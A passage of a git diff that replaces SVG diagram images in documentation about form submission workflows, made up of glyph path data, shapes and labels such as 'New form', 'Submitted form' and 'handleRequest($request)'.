-1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 3.3125 3.96875 C 2.851562 3.394531 2.46875 2.757812 2.15625 2.0625 C 1.851562 1.375 1.601562 0.664062 1.40625 -0.0625 C 1.21875 -0.789062 1.078125 -1.523438 0.984375 -2.265625 C 0.898438 -3.003906 0.859375 -3.710938 0.859375 -4.390625 C 0.859375 -5.046875 0.898438 -5.742188 0.984375 -6.484375 C 1.078125 -7.222656 1.21875 -7.960938 1.40625 -8.703125 C 1.601562 -9.441406 1.859375 -10.164062 2.171875 -10.875 C 2.492188 -11.582031 2.882812 -12.242188 3.34375 -12.859375 L 4.15625 -12.375 C 3.769531 -11.757812 3.445312 -11.113281 3.1875 -10.4375 C 2.9375 -9.757812 2.734375 -9.070312 2.578125 -8.375 C 2.429688 -7.6875 2.328125 -7.003906 2.265625 -6.328125 C 2.203125 -5.648438 2.171875 -5.003906 2.171875 -4.390625 C 2.171875 -3.804688 2.207031 -3.164062 2.28125 -2.46875 C 2.351562 -1.78125 2.46875 -1.085938 2.625 -0.390625 C 2.789062 0.304688 3 0.984375 3.25 1.640625 C 3.5 2.304688 3.800781 2.90625 4.15625 3.4375 Z M 3.3125 3.96875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 3.546875 0.21875 C 3.015625 0.195312 2.546875 0.140625 2.140625 0.046875 C 1.734375 -0.0351562 1.398438 -0.160156 1.140625 -0.328125 L 1.546875 -1.546875 C 1.742188 -1.421875 2.007812 -1.296875 2.34375 -1.171875 C 2.6875 -1.054688 3.085938 -0.984375 3.546875 -0.953125 L 3.546875 -6.09375 C 3.242188 -6.28125 2.945312 -6.484375 2.65625 -6.703125 C 2.375 -6.921875 2.125 -7.171875 1.90625 -7.453125 C 1.6875 -7.742188 1.503906 -8.078125 1.359375 -8.453125 C 1.222656 -8.835938 1.15625 -9.289062 1.15625 -9.8125 C 1.15625 -10.601562 1.351562 -11.265625 1.75 -11.796875 C 2.15625 -12.335938 2.753906 -12.675781 3.546875 -12.8125 L 3.546875 -14.453125 L 4.640625 -14.453125 L 4.640625 -12.84375 C 5.109375 -12.820312 5.5 -12.773438 5.8125 -12.703125 C 6.125 -12.640625 6.421875 -12.539062 6.703125 -12.40625 L 6.28125 -11.234375 C 6.082031 -11.335938 5.851562 -11.425781 5.59375 -11.5 C 5.34375 -11.582031 5.023438 -11.640625 4.640625 -11.671875 L 4.640625 -7.015625 C 4.941406 -6.804688 5.242188 -6.585938 5.546875 -6.359375 C 5.847656 -6.128906 6.113281 -5.863281 6.34375 -5.5625 C 6.582031 -5.269531 6.773438 -4.929688 6.921875 -4.546875 C 7.066406 -4.171875 7.140625 -3.734375 7.140625 -3.234375 C 7.140625 -2.367188 6.925781 -1.632812 6.5 -1.03125 C 6.070312 -0.425781 5.453125 -0.0390625 4.640625 0.125 L 4.640625 1.8125 L 3.546875 1.8125 Z M 4.359375 -1.03125 C 4.785156 -1.125 5.128906 -1.347656 5.390625 -1.703125 C 5.648438 -2.054688 5.78125 -2.535156 5.78125 -3.140625 C 5.78125 -3.722656 5.640625 -4.191406 5.359375 -4.546875 C 5.085938 -4.910156 4.753906 -5.238281 4.359375 -5.53125 Z M 3.828125 -11.625 C 3.335938 -11.53125 2.992188 -11.304688 2.796875 -10.953125 C 2.609375 -10.609375 2.515625 -10.242188 2.515625 -9.859375 C 2.515625 -9.328125 2.632812 -8.882812 2.875 -8.53125 C 3.125 -8.1875 3.441406 -7.875 3.828125 -7.59375 Z M 3.828125 -11.625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 0.859375 3.4375 C 1.210938 2.90625 1.515625 2.304688 1.765625 1.640625 C 2.023438 0.984375 2.234375 0.304688 2.390625 -0.390625 C 2.554688 -1.085938 2.675781 -1.78125 2.75 -2.46875 C 2.820312 -3.164062 2.859375 -3.804688 2.859375 -4.390625 C 2.859375 -5.003906 2.820312 -5.648438 2.75 -6.328125 C 2.6875 -7.003906 2.578125 -7.6875 2.421875 -8.375 C 2.273438 -9.070312 2.070312 -9.757812 1.8125 -10.4375 C 1.550781 -11.113281 1.234375 -11.757812 0.859375 -12.375 L 1.6875 -12.859375 C 2.132812 -12.242188 2.519531 -11.582031 2.84375 -10.875 C 3.164062 -10.164062 3.421875 -9.441406 3.609375 -8.703125 C 3.804688 -7.960938 3.945312 -7.222656 4.03125 -6.484375 C 4.113281 -5.742188 4.15625 -5.046875 4.15625 -4.390625 C 4.15625 -3.710938 4.113281 -3.003906 4.03125 -2.265625 C 3.945312 -1.523438 3.804688 -0.789062 3.609375 -0.0625 C 3.421875 0.664062 3.171875 1.375 2.859375 2.0625 C 2.546875 2.757812 2.164062 3.394531 1.71875 3.96875 Z M 0.859375 3.4375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 2.453125 -2.15625 C 2.453125 -1.726562 2.507812 -1.421875 2.625 -1.234375 C 2.738281 -1.054688 2.898438 -0.96875 3.109375 -0.96875 C 3.359375 -0.96875 3.648438 -1.035156 3.984375 -1.171875 L 4.125 -0.125 C 3.96875 -0.03125 3.742188 0.046875 3.453125 0.109375 C 3.171875 0.171875 2.914062 0.203125 2.6875 0.203125 C 2.226562 0.203125 1.859375 0.0625 1.578125 -0.21875 C 1.296875 -0.507812 1.15625 -1.007812 1.15625 -1.71875 L 1.15625 -12.640625 L 2.453125 -12.640625 Z M 2.453125 -2.15625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 0.578125 -1.171875 L 3.9375 -7.078125 L 4.5625 -7.859375 L 0.578125 -7.859375 L 0.578125 -9.03125 L 5.859375 -9.03125 L 5.859375 -7.859375 L 2.46875 -1.890625 L 1.859375 -1.171875 L 5.859375 -1.171875 L 5.859375 0 L 0.578125 0 Z M 0.578125 -1.171875 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface34910">
+<rect x="0" y="0" width="961" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 15 0 L 63 0 L 63 10 L 15 10 Z M 15 0 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24 7.592578 L 53.45 7.592578 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 53.45 7.842578 L 53.95 7.592578 L 53.45 7.342578 Z M 53.45 7.842578 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(69.803923%,83.137256%,92.156863%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.666602 1 L 29.333398 1 C 29.977734 1 30.5 1.525 30.5 2.172461 C 30.5 2.819922 29.977734 3.344922 29.333398 3.344922 L 24.666602 3.344922 C 24.022266 3.344922 23.5 2.819922 23.5 2.172461 C 23.5 1.525 24.022266 1 24.666602 1 Z M 24.666602 1 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="201.566406" y="53.342014"/>
+  <use xlink:href="#glyph0-2" x="214.621962" y="53.342014"/>
+  <use xlink:href="#glyph0-3" x="223.510851" y="53.342014"/>
+  <use xlink:href="#glyph0-4" x="232.39974" y="53.342014"/>
+  <use xlink:href="#glyph0-5" x="240.733073" y="53.342014"/>
+  <use xlink:href="#glyph0-6" x="245.455295" y="53.342014"/>
+  <use xlink:href="#glyph0-3" x="249.89974" y="53.342014"/>
+  <use xlink:href="#glyph0-7" x="258.788628" y="53.342014"/>
+  <use xlink:href="#glyph0-8" x="266.844184" y="53.342014"/>
+  <use xlink:href="#glyph0-7" x="272.39974" y="53.342014"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 16.3 6 C 16.134375 6 16 6.134375 16 6.3 L 16 8.885352 C 16 9.050977 16.134375 9.185352 16.3 9.185352 L 23.7 9.185352 C 23.865625 9.185352 24 9.050977 24 8.885352 L 24 6.3 C 24 6.134375 23.865625 6 23.7 6 Z M 16.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-9" x="66.976562" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="77.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-10" x="86.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="97.809896" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="102.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="107.25434" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="116.143229" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="121.698785" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 30.3 6 C 30.134375 6 30 6.134375 30 6.3 L 30 8.885352 C 30 9.050977 30.134375 9.185352 30.3 9.185352 L 36.7 9.185352 C 36.865625 9.185352 37 9.050977 37 8.885352 L 37 6.3 C 37 6.134375 36.865625 6 36.7 6 Z M 30.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="319.066406" y="160.853733"/>
+  <use xlink:href="#glyph0-15" x="328.233073" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="337.955295" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="346.566406" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="353.233073" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="361.844184" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="370.455295" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="379.621962" y="160.853733"/>
+  <use xlink:href="#glyph0-20" x="386.288628" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="396.566406" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="405.177517" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="413.233073" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(99.215686%,87.450981%,73.333335%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 43.3 6 C 43.134375 6 43 6.134375 43 6.3 L 43 8.885352 C 43 9.050977 43.134375 9.185352 43.3 9.185352 L 49.7 9.185352 C 49.865625 9.185352 50 9.050977 50 8.885352 L 50 6.3 C 50 6.134375 49.865625 6 49.7 6 Z M 43.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="573.929688" y="160.853733"/>
+  <use xlink:href="#glyph0-22" x="582.818576" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="593.929688" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="602.540799" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="611.707465" y="160.853733"/>
+  <use xlink:href="#glyph0-18" x="618.374132" y="160.853733"/>
+  <use xlink:href="#glyph0-16" x="626.985243" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="635.596354" y="160.853733"/>
+  <use xlink:href="#glyph0-17" x="644.763021" y="160.853733"/>
+  <use xlink:href="#glyph0-20" x="651.429688" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="661.707465" y="160.853733"/>
+  <use xlink:href="#glyph0-19" x="670.318576" y="160.853733"/>
+  <use xlink:href="#glyph0-21" x="678.374132" y="160.853733"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 54.3 6 C 54.134375 6 54 6.134375 54 6.3 L 54 8.885352 C 54 9.050977 54.134375 9.185352 54.3 9.185352 L 61.7 9.185352 C 61.865625 9.185352 62 9.050977 62 8.885352 L 62 6.3 C 62 6.134375 61.865625 6 61.7 6 Z M 54.3 6 " transform="matrix(20,0,0,20,-299,1)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-14" x="795.589844" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="804.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="809.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-23" x="818.089844" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="826.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-23" x="835.867622" y="160.853733"/>
+  <use xlink:href="#glyph0-24" x="844.75651" y="160.853733"/>
+  <use xlink:href="#glyph0-5" x="853.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-7" x="858.367622" y="160.853733"/>
+  <use xlink:href="#glyph0-8" x="866.423177" y="160.853733"/>
+  <use xlink:href="#glyph0-4" x="871.978733" y="160.853733"/>
+  <use xlink:href="#glyph0-3" x="880.312066" y="160.853733"/>
+  <use xlink:href="#glyph0-6" x="889.200955" y="160.853733"/>
+  <use xlink:href="#glyph0-11" x="893.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-2" x="898.645399" y="160.853733"/>
+  <use xlink:href="#glyph0-12" x="907.534288" y="160.853733"/>
+  <use xlink:href="#glyph0-13" x="913.089844" y="160.853733"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 193.550781 161 L 288.449219 161 L 288.449219 184.398438 L 193.550781 184.398438 Z M 193.550781 161 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="193.5" y="179.407118"/>
+  <use xlink:href="#glyph1-2" x="199.611111" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="207.111111" y="179.407118"/>
+  <use xlink:href="#glyph1-4" x="212.111111" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="221.555556" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="228.777778" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="233.777778" y="179.407118"/>
+  <use xlink:href="#glyph1-6" x="241" y="179.407118"/>
+  <use xlink:href="#glyph1-7" x="245.166667" y="179.407118"/>
+  <use xlink:href="#glyph1-8" x="253.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="261" y="179.407118"/>
+  <use xlink:href="#glyph1-3" x="268.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-5" x="273.222222" y="179.407118"/>
+  <use xlink:href="#glyph1-9" x="280.444444" y="179.407118"/>
+  <use xlink:href="#glyph1-10" x="284.611111" y="179.407118"/>
+</g>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 457.976562 122.601562 L 544.027344 122.601562 L 544.027344 146 L 457.976562 146 Z M 457.976562 122.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-11" x="457.953125" y="141.008681"/>
+  <use xlink:href="#glyph1-12" x="466.008681" y="141.008681"/>
+  <use xlink:href="#glyph1-13" x="473.786458" y="141.008681"/>
+  <use xlink:href="#glyph1-14" x="478.786458" y="141.008681"/>
+  <use xlink:href="#glyph1-5" x="490.453125" y="141.008681"/>
+  <use xlink:href="#glyph1-15" x="497.675347" y="141.008681"/>
+  <use xlink:href="#glyph1-16" x="501.842014" y="141.008681"/>
+  <use xlink:href="#glyph1-17" x="505.730903" y="141.008681"/>
+  <use xlink:href="#glyph1-5" x="512.119792" y="141.008681"/>
+  <use xlink:href="#glyph1-3" x="519.342014" y="141.008681"/>
+  <use xlink:href="#glyph1-16" x="524.342014" y="141.008681"/>
+  <use xlink:href="#glyph1-12" x="528.230903" y="141.008681"/>
+  <use xlink:href="#glyph1-11" x="536.008681" y="141.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-dasharray:0.1,0.1;stroke-miterlimit:10;" d="M 27 3.344922 L 27 6.95 " transform="matrix(20,0,0,20,-299,1)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 26.75 6.95 L 27 7.45 L 27.25 6.95 Z M 26.75 6.95 " transform="matrix(20,0,0,20,-299,1)"/>
+</g>
 </svg>
diff --git a/_images/form/form_submission_workflow.svg b/_images/form/form_submission_workflow.svg
index b58e11190a1..d6d138ee61a 100644
--- a/_images/form/form_submission_workflow.svg
+++ b/_images/form/form_submission_workflow.svg
@@ -1,76 +1,334 @@
-<svg width="400" viewBox="977 1538 524 566" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
-  <g id="submission">
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1901.61" width="109" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1920">
-        <tspan xml:space="preserve" x="1300" y="1920">  denormalization</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1300" y="1781.61" width="93.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="1800">
-        <tspan xml:space="preserve" x="1300" y="1800">  normalization</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1100" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1180" y="1579.84">
-        <tspan x="1180" y="1579.84">New form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1340" y="1540" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1420" y="1579.84">
-        <tspan x="1420" y="1579.84">Prepopulated form</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="1220" y="2040" width="160" height="63.7055" rx="6" ry="6"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1300" y="2079.84">
-        <tspan x="1300" y="2079.84">Submitted form</tspan>
-      </text>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1180,1603.71 1180,1640 1300,1640 1300,2028 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2028 1300,2038 1305,2028 "/>
-    </g>
-    <g>
-      <polyline style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" points="1420,1603.71 1420,1640 1300,1640 1300,2029 "/>
-      <polygon style="fill: #000000; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" points="1295,2029 1300,2039 1305,2029 "/>
-    </g>
-    <g>
-      <path style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" fill-rule="evenodd" d="M 1004.16 1645 L 1100.81,1645 C 1114.16,1645 1124.98,1655.5 1124.98,1668.45 C 1124.98,1681.4 1114.16,1691.9 1100.81,1691.9 L 1004.16,1691.9 C 990.818,1691.9 980,1681.4 980,1668.45 C 980,1655.5 990.818,1645 1004.16,1645z"/>
-      <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1052.49" y="1676.43">
-        <tspan x="1052.49" y="1676.43">Request data</tspan>
-      </text>
-    </g>
-    <g>
-      <rect style="fill: #ffffff; fill-opacity: 1; stroke: none" x="1220" y="1613.61" width="158.75" height="23.3724"/>
-      <text font-size="18.0622" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:start;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="1220" y="1632">
-        <tspan x="1220" y="1632">handleRequest($request) </tspan>
-      </text>
-    </g>
-    <g>
-      <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #000000" x1="1124.98" y1="1668.45" x2="1286" y2="1669.67"/>
